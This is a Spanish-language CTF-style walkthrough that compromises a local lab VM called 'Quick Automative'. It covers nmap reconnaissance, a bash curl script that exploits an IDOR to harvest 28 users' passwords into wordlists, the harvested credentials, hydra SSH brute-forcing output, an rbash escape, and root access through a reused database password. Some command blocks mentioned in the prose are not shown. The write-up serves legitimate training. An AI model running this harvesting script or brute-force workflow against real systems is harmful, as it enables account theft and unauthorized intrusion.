Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-21 03:55 EDT
Nmap scan report for 192.168.1.146
Host is up (0.00099s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2e:7a:1f:17:57:44:6f:7f:f9:ce:ab:a1:4f💿c7:19 (ECDSA)
|_ 256 93:7e:d6:c9:03:5b:a1:ee:1d:54:d0:f0:27:0f:13:eb (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Quick Automative - Home
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 08:00:27:28:12:35 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.44 seconds
Veremos un puerto 80 en el que aloja una pagina web, si entramos dentro de la misma veremos una pagina de coches normales en el que aparentemente no veremos nada interesante, por lo que vamos a realizar un poco de fuzzing.
Si le damos a Make Appointment veremos que nos lleva como a un login pero nos podremos crear una cuenta, por lo que vamos a crearnosla.
Una vez que nos la hayamos creado y nos hayamos logueado, veremos un panel de usuario normal y corriente, pero si nos vamos a MyProfile veremos en la URL algo peculiar y es lo siguiente:
Vemos que esta exponiendo el id por lo que podremos intentar realizar un IDOR para enumerar usuario y con ello su informacion incluyendo las contraseñas, para crearnos un diccionario personalizado de lo que recolectemos.
Si probamos a meter lo siguiente:
Veremos que funciona y nos esta mostrando la informacion del usuario quick, para poder ver la password podremos cambiar el campo de password a text de esta forma:
En ese campo pondremos text quedando asi:
Por lo que estaremos viendo la contraseña de dicho usuario, tendremos que realizar esto con los 28 usuarios que pueden estar logueados, por lo que vamos a crearnos un pequeño script de bash de esta forma:
searchInfo.sh
Cambiamos la <IP> por la nuestra real de la maquina victima, ahora lo ejecutaremos de esta forma:
Info:
Esto lo guardara los nombre de usuario en un users.txt y las contraseñas en un pass.txt de forma automatica, quedando algo asi:
users.txt
pass.txt
Ahora vamos a realizar un ataque de fuerza bruta con hydra por SSH de esta forma:
Escalate user mike
Hydra
Info:
Con esto veremos que ha funcionado y habremos descubierto las credenciales del usuario mike, por lo que vamos a conectarnos por SSH.
SSH
Metemos como contraseña 6G3UCx6aH6UYvJ6m y veremos que estaremos dentro, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Primero haremos bash para salir de la restriccion de rbash en la que estamos.
Si buscamos un poco, en la seccion de /var/www/html vamos a buscar el siguiente archivo que suele ser el que almacena las contraseñas en la DDBB para la aplicacion.
Info:
Vemos que la primera linea es la que nos interesa, por lo que vamos a leerlo.
Info:
Vemos informacion bastante interesante, en la cual estamos viendo una password que es de root, por lo que vamos a probar si a nivel de sistema tambien tuviera la misma.
Metemos como contraseña fastandquicktobefaster...
Info:
Veremos que ha funcionado, por lo que seremos dicho usuario y leeremos la flag de root.
#!/bin/bash
# Limpiar ficheros al inicio
> users.txt
> pass.txt
for id in $(seq 1 28); do
echo "[+] Fetching ID: $id"
html=$(curl -s "http://<IP>/customer/user.php?id=$id")
# Extraer valor completo del campo name
full_name=$(echo "$html" | grep 'input type="text" id="name"' | sed -n 's/.*value="\([^"]*\)".*/\1/p')
# Quedarse solo con la primera palabra y poner inicial en minúscula
name=$(echo "$full_name" | awk '{print $1}' | sed 's/^\(.\)/\L\1/')
# Extraer password
password=$(echo "$html" | grep 'input type="password" id="oldpassword"' | sed -n 's/.*value="\([^"]*\)".*/\1/p')
if [ -n "$name" ] || [ -n "$password" ]; then
echo " Name: $name"
echo " Password: $password"
# Guardar en ficheros
echo "$name" >> users.txt
echo "$password" >> pass.txt
else
echo " No name or password found"
fi
done
chmod +x searchInfo.sh
bash searchInfo.sh
[+] Fetching ID: 1
Name: quick
Password: q27QAO6FeisAAtbW
[+] Fetching ID: 2
Name: nick
Password: H01n8X0fiiBhsNbI
[+] Fetching ID: 3
Name: andrew
Password: oyS6518WQxGK8rmk
[+] Fetching ID: 4
Name: jack
Password: 2n5kKKcvumiR7vrz
[+] Fetching ID: 5
Name: mike
Password: 6G3UCx6aH6UYvJ6m
[+] Fetching ID: 6
Name: john
Password: k2I9CR15E9O4G1KI
[+] Fetching ID: 7
Name: jane
Password: 62D4hqCrjjNCuxOj
...................................<RESTO DE INFO>.................................
quick
nick
andrew
jack
mike
john
jane
frank
fred
sandra
bill
james
donald
michelle
jeff
lee
laura
coos
neil
teresa
krystal
juan
john
misty
lara
james
dick
anna
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-21 04:29:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 841 login tries (l:29/p:29), ~14 tries per task
[DATA] attacking ssh://192.168.1.146:22/
[22][ssh] host: 192.168.1.146 login: mike password: 6G3UCx6aH6UYvJ6m
[STATUS] 290.00 tries/min, 290 tries in 00:01h, 584 to do in 00:03h, 31 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.